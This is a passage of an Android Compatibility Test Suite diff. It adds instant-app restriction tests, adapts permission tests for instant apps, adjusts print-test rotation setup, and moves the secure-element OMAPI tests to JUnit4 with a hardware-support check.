+ * limitations under the License.
+ */
+package android.packageinstaller.externalsources.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeInstant;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@AppModeInstant
+public class ExternalSourcesInstantAppsTest {
+
+ private Context mContext;
+ private PackageManager mPm;
+ private String mPackageName;
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getTargetContext();
+ mPm = mContext.getPackageManager();
+ mPackageName = mContext.getPackageName();
+ }
+
+ private void setAppOpsMode(int mode) throws IOException {
+ AppOpsUtils.setOpMode(mPackageName, "REQUEST_INSTALL_PACKAGES", mode);
+ }
+
+ @Test
+ public void blockedSourceTest() throws Exception {
+ setAppOpsMode(AppOpsManager.MODE_ERRORED);
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
+ assertFalse("Instant app " + mPackageName + " allowed to install packages", isTrusted);
+ }
+
+ @Test
+ public void allowedSourceTest() throws Exception {
+ setAppOpsMode(AppOpsManager.MODE_ALLOWED);
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
+ assertFalse("Instant app " + mPackageName + " allowed to install packages", isTrusted);
+ }
+
+ @Test
+ public void defaultSourceTest() throws Exception {
+ setAppOpsMode(AppOpsManager.MODE_DEFAULT);
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
+ assertFalse("Instant app " + mPackageName + " allowed to install packages", isTrusted);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ setAppOpsMode(AppOpsManager.MODE_DEFAULT);
+ }
+}
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index 06e858e..a29264b 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -19,6 +19,7 @@
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
@@ -35,6 +36,7 @@
@RunWith(AndroidJUnit4.class)
@SmallTest
+@AppModeFull
public class ExternalSourcesTest {
private Context mContext;
diff --git a/tests/tests/permission/src/android/permission/cts/NoKeyPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoKeyPermissionTest.java
index 8ed9143..5a0b259 100644
--- a/tests/tests/permission/src/android/permission/cts/NoKeyPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoKeyPermissionTest.java
@@ -32,7 +32,9 @@
protected void setUp() throws Exception {
super.setUp();
mKeyManager = (KeyguardManager) mContext.getSystemService(Context.KEYGUARD_SERVICE);
- mKeyLock = mKeyManager.newKeyguardLock("testTag");
+ if (mKeyManager != null) {
+ mKeyLock = mKeyManager.newKeyguardLock("testTag");
+ }
}
/**
@@ -42,6 +44,10 @@
*/
@SmallTest
public void testDisableKeyguard() {
+ // KeyguardManager was not accessible, pass.
+ if (mKeyManager == null) {
+ return;
+ }
try {
mKeyLock.disableKeyguard();
fail("KeyguardManager.KeyguardLock.disableKeyguard did not throw SecurityException as"
@@ -58,6 +64,10 @@
*/
@SmallTest
public void testReenableKeyguard() {
+ // KeyguardManager was not accessible, pass.
+ if (mKeyManager == null) {
+ return;
+ }
try {
mKeyLock.reenableKeyguard();
fail("KeyguardManager.KeyguardLock.reenableKeyguard did not throw SecurityException as"
@@ -74,6 +84,10 @@
*/
@SmallTest
public void testExitKeyguardSecurely() {
+ // KeyguardManager was not accessible, pass.
+ if (mKeyManager == null) {
+ return;
+ }
try {
mKeyManager.exitKeyguardSecurely(null);
fail("KeyguardManager.exitKeyguardSecurely did not throw SecurityException as"
diff --git a/tests/tests/permission/src/android/permission/cts/NoSystemFunctionPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoSystemFunctionPermissionTest.java
index 9180c77..0ccebed 100644
--- a/tests/tests/permission/src/android/permission/cts/NoSystemFunctionPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoSystemFunctionPermissionTest.java
@@ -24,6 +24,7 @@
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.os.Vibrator;
+import android.platform.test.annotations.AppModeFull;
import android.telephony.gsm.SmsManager;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
@@ -82,6 +83,7 @@
* {@link android.Manifest.permission#SET_WALLPAPER}.
* @throws IOException
*/
+ @AppModeFull(reason = "Instant apps cannot access the WallpaperManager")
@SmallTest
public void testSetWallpaper() throws IOException {
if (!WallpaperManager.getInstance(mContext).isWallpaperSupported()) {
diff --git a/tests/tests/permission/src/android/permission/cts/NoWakeLockPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoWakeLockPermissionTest.java
index ec11a0c..fd7e977 100644
--- a/tests/tests/permission/src/android/permission/cts/NoWakeLockPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoWakeLockPermissionTest.java
@@ -22,6 +22,7 @@
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
@@ -45,6 +46,7 @@
* <p>Requires Permission:
* {@link android.Manifest.permission#WAKE_LOCK}.
*/
+ @AppModeFull(reason = "Instant apps cannot access the WifiManager")
@SmallTest
public void testWifiLockAcquire() {
final WifiManager wifiManager = (WifiManager) mContext.getSystemService(
diff --git a/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
index ad32923..df1a42c 100644
--- a/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
@@ -24,6 +24,7 @@
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
@@ -36,6 +37,7 @@
/**
* Verify that Wallpaper-related operations enforce the correct permissions.
*/
+@AppModeFull(reason = "instant apps cannot access the WallpaperManager")
public class NoWallpaperPermissionsTest extends AndroidTestCase {
private WallpaperManager mWM;
diff --git a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
index 0804ebe..d8acd50 100644
--- a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
@@ -19,12 +19,14 @@
import android.content.Context;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
/**
* Verify WifiManager related methods without specific Wifi state permissions.
*/
+@AppModeFull(reason = "Instant apps cannot access the WifiManager")
@SmallTest
public class NoWifiStatePermissionTest extends AndroidTestCase {
private static final int TEST_NET_ID = 1;
diff --git a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
index 909ac35..ec0de49 100644
--- a/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ProviderPermissionTest.java
@@ -21,6 +21,8 @@
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
import android.provider.CallLog;
import android.provider.Contacts;
import android.provider.Settings;
@@ -55,11 +57,28 @@
android.Manifest.permission.WRITE_CONTACTS);
}
+ public void assertWritingContentUriRequiresPermission(Uri uri, String permission,
+ boolean allowIAE) {
+ try {
+ getContext().getContentResolver().insert(uri, new ContentValues());
+ fail("expected SecurityException requiring " + permission);
+ } catch (IllegalArgumentException e) {
+ if (!allowIAE) {
+ fail("expected SecurityException requiring " + permission + " got " + e);
+ }
+ } catch (SecurityException expected) {
+ assertNotNull("security exception's error message.", expected.getMessage());
+ assertTrue("error message should contain " + permission + ".",
+ expected.getMessage().contains(permission));
+ }
+ }
+
/**
* Verify that reading call logs requires permissions.
* <p>Tests Permission:
* {@link android.Manifest.permission#READ_CALL_LOG}
*/
+ @AppModeFull
public void testReadCallLog() {
assertReadingContentUriRequiresPermission(CallLog.CONTENT_URI,
android.Manifest.permission.READ_CALL_LOG);
@@ -72,7 +91,8 @@
*/
public void testWriteCallLog() {
assertWritingContentUriRequiresPermission(CallLog.CONTENT_URI,
- android.Manifest.permission.WRITE_CALL_LOG);
+ android.Manifest.permission.WRITE_CALL_LOG,
+ getContext().getPackageManager().isInstantApp());
}
/**
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
new file mode 100644
index 0000000..736cf2f
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static android.content.Context.DEVICE_POLICY_SERVICE;
+import static android.content.Context.FINGERPRINT_SERVICE;
+import static android.content.Context.SHORTCUT_SERVICE;
+import static android.content.Context.USB_SERVICE;
+import static android.content.Context.WALLPAPER_SERVICE;
+import static android.content.Context.WIFI_AWARE_SERVICE;
+import static android.content.Context.WIFI_P2P_SERVICE;
+import static android.content.Context.WIFI_SERVICE;
+
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeInstant;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Some services are not available to instant apps, see {@link Context#getSystemService}.
+ */
+@AppModeInstant
+@RunWith(AndroidJUnit4.class)
+public class ServicesInstantAppsCannotAccessTests {
+ @Test
+ public void cannotGetDevicePolicyManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ DEVICE_POLICY_SERVICE));
+ }
+
+ @Test
+ public void cannotGetFingerprintManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ FINGERPRINT_SERVICE));
+ }
+
+ @Test
+ public void cannotGetShortcutManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ SHORTCUT_SERVICE));
+ }
+
+ @Test
+ public void cannotGetUsbManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ USB_SERVICE));
+ }
+
+ @Test
+ public void cannotGetWallpaperManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ WALLPAPER_SERVICE));
+ }
+
+ @Test
+ public void cannotGetWifiP2pManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ WIFI_P2P_SERVICE));
+ }
+
+ @Test
+ public void cannotGetWifiManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ WIFI_SERVICE));
+ }
+
+ @Test
+ public void cannotGetWifiAwareManager() {
+ assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+ WIFI_AWARE_SERVICE));
+ }
+}
diff --git a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
old mode 100644
new mode 100755
index dc4ae9d..5c40dfc
--- a/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
+++ b/tests/tests/print/printTestUtilLib/src/android/print/test/BasePrintTest.java
@@ -199,13 +199,6 @@
Instrumentation instrumentation = getInstrumentation();
- // Prevent rotation
- getUiDevice().freezeRotation();
- while (!getUiDevice().isNaturalOrientation()) {
- getUiDevice().setOrientationNatural();
- getUiDevice().waitForIdle();
- }
-
// Make sure we start with a clean slate.
Log.d(LOG_TAG, "clearPrintSpoolerData()");
clearPrintSpoolerData();
@@ -270,6 +263,13 @@
assumeTrue(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
PackageManager.FEATURE_PRINTING));
+ // Prevent rotation
+ getUiDevice().freezeRotation();
+ while (!getUiDevice().isNaturalOrientation()) {
+ getUiDevice().setOrientationNatural();
+ getUiDevice().waitForIdle();
+ }
+
// Initialize the latches.
Log.d(LOG_TAG, "init counters");
mCancelOperationCounter = new CallCounter();
@@ -302,6 +302,9 @@
sIdToTest.remove(mTestId);
+ // Allow rotation
+ getUiDevice().unfreezeRotation();
+
Log.d(LOG_TAG, "tearDown() done");
}
@@ -324,9 +327,6 @@
SystemUtil.runShellCommand(instrumentation, "settings put secure "
+ Settings.Secure.DISABLED_PRINT_SERVICES + " null");
- // Allow rotation
- getUiDevice().unfreezeRotation();
-
Log.d(LOG_TAG, "tearDownClass() done");
}
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
index 37e7a10..c9b40f4 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.mk
@@ -24,7 +24,9 @@
LOCAL_MODULE_TAGS := optional
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
index 684cb10..a064bc7 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
index 3727c60..9fe37ea 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/src/android/omapi/accesscontrol1/cts/AccessControlTest.java
@@ -18,20 +18,30 @@
package android.omapi.accesscontrol1.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
+import android.content.pm.PackageManager;
import android.os.RemoteException;
import android.se.omapi.Channel;
import android.se.omapi.Reader;
import android.se.omapi.SEService;
import android.se.omapi.SEService.OnConnectedListener;
import android.se.omapi.Session;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
-public class AccessControlTest extends AndroidTestCase {
+import com.android.compatibility.common.util.PropertyUtil;
+
+public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
private final static String SD_READER_PREFIX = "SD";
@@ -144,15 +154,22 @@
}
}
- @Override
- protected void setUp() throws Exception {
- seService = new SEService(getContext(), new SynchronousExecutor(), mListener);
+ private boolean supportsHardware() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+ return !lowRamDevice || (lowRamDevice && pm.hasSystemFeature("android.hardware.type.watch"));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(supportsHardware());
+ seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
connectionTimer = new Timer();
connectionTimer.schedule(mTimerTask, SERVICE_CONNECTION_TIME_OUT);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (seService != null && seService.isConnected()) {
seService.shutdown();
connected = false;
@@ -179,36 +196,42 @@
}
}
+ @Test
public void testAuthorizedAID() {
for (byte[] aid : AUTHORIZED_AID) {
testSelectableAid(aid);
}
}
+ @Test
public void testUnauthorizedAID() {
for (byte[] aid : UNAUTHORIZED_AID) {
testUnauthorisedAid(aid);
}
}
+ @Test
public void testAuthorizedAPDUAID40() {
for (byte[] apdu : AUTHORIZED_APDU_AID_40) {
testTransmitAPDU(AID_40, apdu);
}
}
+ @Test
public void testUnauthorisedAPDUAID40() {
for (byte[] apdu : UNAUTHORIZED_APDU_AID_40) {
testUnauthorisedAPDU(AID_40, apdu);
}
}
+ @Test
public void testAuthorizedAPDUAID41() {
for (byte[] apdu : AUTHORIZED_APDU_AID_41) {
testTransmitAPDU(AID_41, apdu);
}
}
+ @Test
public void testUnauthorisedAPDUAID41() {
for (byte[] apdu : UNAUTHORIZED_APDU_AID_41) {
testUnauthorisedAPDU(AID_41, apdu);
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
index 2e9b107..eff645d 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.mk
@@ -24,7 +24,9 @@
LOCAL_MODULE_TAGS := optional
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 282805e..71c57e9 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
index 8b51205..74021c3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/src/android/omapi/accesscontrol2/cts/AccessControlTest.java
@@ -18,20 +18,30 @@
package android.omapi.accesscontrol2.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
+import android.content.pm.PackageManager;
import android.os.RemoteException;
import android.se.omapi.Channel;
import android.se.omapi.Reader;
import android.se.omapi.SEService;
import android.se.omapi.SEService.OnConnectedListener;
import android.se.omapi.Session;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
-public class AccessControlTest extends AndroidTestCase {
+import com.android.compatibility.common.util.PropertyUtil;
+
+public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
private final static String SD_READER_PREFIX = "SD";
@@ -143,15 +153,22 @@
}
}
- @Override
- protected void setUp() throws Exception {
- seService = new SEService(getContext(), new SynchronousExecutor(), mListener);
+ private boolean supportsHardware() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+ return !lowRamDevice || (lowRamDevice && pm.hasSystemFeature("android.hardware.type.watch"));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(supportsHardware());
+ seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
connectionTimer = new Timer();
connectionTimer.schedule(mTimerTask, SERVICE_CONNECTION_TIME_OUT);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (seService != null && seService.isConnected()) {
seService.shutdown();
connected = false;
@@ -178,36 +195,42 @@
}
}
+ @Test
public void testAuthorizedAID() {
for (byte[] aid : AUTHORIZED_AID) {
testSelectableAid(aid);
}
}
+ @Test
public void testUnauthorizedAID() {
for (byte[] aid : UNAUTHORIZED_AID) {
testUnauthorisedAid(aid);
}
}
+ @Test
public void testAuthorizedAPDUAID40() {
for (byte[] apdu : AUTHORIZED_APDU_AID_40) {
testTransmitAPDU(AID_40, apdu);
}
}
+ @Test
public void testUnauthorisedAPDUAID40() {
for (byte[] apdu : UNAUTHORIZED_APDU_AID_40) {
testUnauthorisedAPDU(AID_40, apdu);
}
}
+ @Test
public void testAuthorizedAPDUAID41() {
for (byte[] apdu : AUTHORIZED_APDU_AID_41) {
testTransmitAPDU(AID_41, apdu);
}
}
+ @Test
public void testUnauthorisedAPDUAID41() {
for (byte[] apdu : UNAUTHORIZED_APDU_AID_41) {
testUnauthorisedAPDU(AID_41, apdu);
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
index cd3f132..29e38f3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
@@ -24,7 +24,9 @@
LOCAL_MODULE_TAGS := optional
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_SDK_VERSION := current
LOCAL_JAVA_LIBRARIES += android.test.runner
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 2f182e5..647b485 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
index 5ca0c51..51483e9 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/src/android/omapi/accesscontrol3/cts/AccessControlTest.java
@@ -18,20 +18,30 @@
package android.omapi.accesscontrol3.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
+import android.content.pm.PackageManager;
import android.os.RemoteException;
import android.se.omapi.Channel;
import android.se.omapi.Reader;
import android.se.omapi.SEService;
import android.se.omapi.SEService.OnConnectedListener;
import android.se.omapi.Session;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
-public class AccessControlTest extends AndroidTestCase {
+import com.android.compatibility.common.util.PropertyUtil;
+
+public class AccessControlTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
private final static String SD_READER_PREFIX = "SD";
@@ -153,15 +163,22 @@
}
}
- @Override
- protected void setUp() throws Exception {
- seService = new SEService(getContext(), new SynchronousExecutor(), mListener);
+ private boolean supportsHardware() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+ return !lowRamDevice || (lowRamDevice && pm.hasSystemFeature("android.hardware.type.watch"));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(supportsHardware());
+ seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
connectionTimer = new Timer();
connectionTimer.schedule(mTimerTask, SERVICE_CONNECTION_TIME_OUT);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (seService != null && seService.isConnected()) {
seService.shutdown();
connected = false;
@@ -188,30 +205,35 @@
}
}
+ @Test
public void testAuthorizedAID() {
for (byte[] aid : AUTHORIZED_AID) {
testSelectableAid(aid);
}
}
+ @Test
public void testUnauthorizedAID() {
for (byte[] aid : UNAUTHORIZED_AID) {
testUnauthorisedAid(aid);
}
}
+ @Test
public void testAuthorizedAPDUAID40() {
for (byte[] apdu : AUTHORIZED_APDU_AID_40) {
testTransmitAPDU(AID_40, apdu);
}
}
+ @Test
public void testAuthorizedAPDUAID41() {
for (byte[] apdu : AUTHORIZED_APDU_AID_41) {
testTransmitAPDU(AID_41, apdu);
}
}
+ @Test
public void testUnauthorisedAPDUAID41() {
for (byte[] apdu : UNAUTHORIZED_APDU_AID_41) {
testUnauthorisedAPDU(AID_41, apdu);
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
index f12aa75..4378136 100644
--- a/tests/tests/secure_element/omapi/Android.mk
+++ b/tests/tests/secure_element/omapi/Android.mk
@@ -24,7 +24,9 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
index e6a3456..34b6411 100644
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -18,6 +18,13 @@
package android.omapi.cts;
+import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
@@ -28,14 +35,17 @@
import java.util.concurrent.Executor;
import java.util.concurrent.TimeoutException;
+import android.content.pm.PackageManager;
import android.se.omapi.Channel;
import android.se.omapi.Reader;
import android.se.omapi.SEService;
import android.se.omapi.SEService.OnConnectedListener;
import android.se.omapi.Session;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
-public class OmapiTest extends AndroidTestCase {
+import com.android.compatibility.common.util.PropertyUtil;
+
+public class OmapiTest {
private final static String UICC_READER_PREFIX = "SIM";
private final static String ESE_READER_PREFIX = "eSE";
@@ -136,20 +146,27 @@
}
}
+ private boolean supportsHardware() {
+ final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+ boolean lowRamDevice = PropertyUtil.propertyEquals("ro.config.low_ram", "true");
+ return !lowRamDevice || (lowRamDevice && pm.hasSystemFeature("android.hardware.type.watch"));
+ }
+
private void assertGreaterOrEqual(long greater, long lesser) {
assertTrue("" + greater + " expected to be greater than or equal to " + lesser,
greater >= lesser);
}
- @Override
- protected void setUp() throws Exception {
- seService = new SEService(getContext(), new SynchronousExecutor(), mListener);
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(supportsHardware());
+ seService = new SEService(InstrumentationRegistry.getContext(), new SynchronousExecutor(), mListener);
connectionTimer = new Timer();
connectionTimer.schedule(mTimerTask, SERVICE_CONNECTION_TIME_OUT);
}
- @Override
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
if (seService != null && seService.isConnected()) {
seService.shutdown();
connected = false;
@@ -177,6 +194,7 @@
}
/** Tests getReaders API */
+ @Test
